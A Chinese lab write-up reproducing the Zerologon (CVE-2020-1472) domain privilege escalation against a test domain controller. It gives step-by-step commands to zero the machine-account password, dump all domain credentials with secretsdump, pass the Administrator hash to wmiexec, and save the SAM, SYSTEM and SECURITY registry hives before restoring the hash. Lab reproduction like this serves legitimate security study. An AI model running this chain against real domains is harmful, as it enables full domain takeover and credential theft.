【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

admin 2022年9月20日18:28:51评论174 views字数 1671阅读5分34秒阅读模式

漏洞简介

由于微软在Netlogon协议中没有正确使用加密算法而导致的漏洞,Netlogon协议身份认证采用了挑战-响应机制,微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零,从而可以达到将机器用户hash置空。

利用过程

  1. 利用exp将域控的机器账户的hash置换成空密码的hash

  2. 利用空hash接管域控权限

  3. 还原域控的机器账户的hash(否则会导致域控脱域等重大影响)

漏洞环境

该漏洞复现环境是红日二靶场搭建的,拓扑如下

主机名字
IP
DC.de1ay.com 10.10.10.10
root kali 10.10.10.128

漏洞所用的工具

漏洞测试工具:zerologon_testerhttps://github.com/SecuraBV/CVE-2020-1472漏洞利用工具:zerologonhttps://github.com/risksense/zerologon网络协议工具:impackethttps://github.com/SecureAuthCorp/impacket


漏洞复现

测试域控是否存在漏洞

python3 zerologon_tester.py DC 10.10.10.10

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

使用漏洞利用工具置空域控机器账户的密码,但是该步很可能会导致域控脱域,所以在攻击之后还需要进行恢复域控机器的用户hash。

注意:这里如果运行之后提示module'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'的话,需要卸载impacket,然后再重新安装最新的impacket即可。

python3 set_empty_pw.py DC 10.10.10.10

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

此时域控服务器账户密码为空,同等于已知密码,因此可以导出域内所有用户凭据

python3 secretsdump.py de1ay/DC$@10.10.10.10 -no-pass

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

把域控DC的哈希值进行解密,发现确实是空密码

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

既然得到了域管理员的哈希值,可以拿下域控了。

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8c535a2d84c3b21059d667639bb89db5 de1ay.com/Administrator@10.10.10.10

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞


域控机器的用户hash复原

为了对域控机器的用户hash进行复原,我们需要进行以下操作:

1.获取目标原始hashreg save HKLMSYSTEM system.savereg save HKLMSAM sam.savereg save HKLMSECURITY security.save
2.将导出的hash文件下载到本地get system.saveget sam.saveget security.save
3.在域控主机上删除导出的hash文件del /f system.savedel /f sam.savedel /f security.save

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

得到域控机器的本地hash文件后,使用secretsdump读取下载到本地的hash文件,获取域控机器账户置空前的原始hash。

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

还原域控机器账户hash

python3 reinstall_original_pw.py DC 10.10.10.10 37631b5a8ea2c76137cef38dd5578ec3

【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

测试是否还能够进行空密码连接,发现不行,说明确实复原了域控机器的hash。

python3 secretsdump.py de1ay/DC$@10.10.10.10 -no-pass


- End -


原文始发于微信公众号(NS Demon团队):【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月20日18:28:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】CVE-2020-1472 Zerologon域提权漏洞http://cn-sec.com/archives/1307072.html

发表评论

匿名网友 填写信息